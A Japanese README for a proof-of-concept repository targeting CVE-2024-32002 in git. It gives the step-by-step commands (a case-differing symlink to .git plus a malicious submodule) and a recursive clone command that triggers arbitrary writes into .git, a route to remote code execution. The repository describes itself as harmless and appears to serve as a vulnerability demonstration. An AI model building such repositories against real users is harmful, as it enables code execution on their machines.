CVE-2024-32002 PRC AW
CVE-2024-32002 の PoC で、.git ディレクトリへの任意書き込みを実証します。
関連するサブモジュールリポジトリについては cve-2024-32002-submodule-aw を参照してください。
このリポジトリの内容
.git ディレクトリにリンクする任意の名前のシンボリックリンク。
- 悪意のあるサブモジュールを定義する
.gitmodules ファイル。
このリポジトリの再現方法
このリポジトリは Linux (正確には WSL2) で作成されました。これは重要です。悪意のあるリポジトリは、大文字小文字を区別するファイルシステム上でしか作成できません。
- すべて小文字を使用してシンボリックリンクを作成します
ln -s .git submodule
注記:
- シンボリックリンクは .git フォルダを指す必要があります。ここにファイルを書き込みたいからです。
- シンボリックリンク名 (submodule) は任意ですが、小文字で始まる必要があります。
- これは重要です。小文字は大文字よりも前にソートされるためです。クローン作成マシンがサブモジュールファイルの書き込み先を混乱した場合、通常のディレクトリではなくシンボリックリンクを選択させたいのです。
- サブモジュールディレクトリ名の大文字小文字の違いに注意して、悪意のあるサブモジュールを追加します
git submodule add --name aw https://github.com/JakobTheDev/cve-2024-32002-submodule-aw.git Submodule/notexists
注記:
- サブモジュールの名前は重要です。サブモジュール内にフックを配置する際に影響します。
- サブモジュールのパスの最初のセグメント ("Submodule") は、上記のシンボリックリンク名と大文字小文字だけが異なるように一致させる必要があります。
- パスには少なくとももう 1 つのセグメントが必要です。git は空のディレクトリにしかサブモジュールをクローンしないためです。ただし、ディレクトリは自動的に作成されるので、それを示すために "notexists" を選びました。
POC の実行方法
- 影響を受けるバージョンの git を使用しているか確認してください。影響を受けるバージョンについては GitHub advisory を参照してください。
git --version
- RCE を達成できる可能性のあるコマンドを意図的に実行したいかどうか考えてください... このリポジトリは無害ですが、本当に実行しますか?
- 次のコマンドを実行します:
git clone --recursive --config core.symlinks=true https://github.com/JakobTheDev/cve-2024-32002-poc-aw.git
- .git ディレクトリの中を見てください。何か変なものはありませんか。ヒント: submodule にはどのファイルがありますか?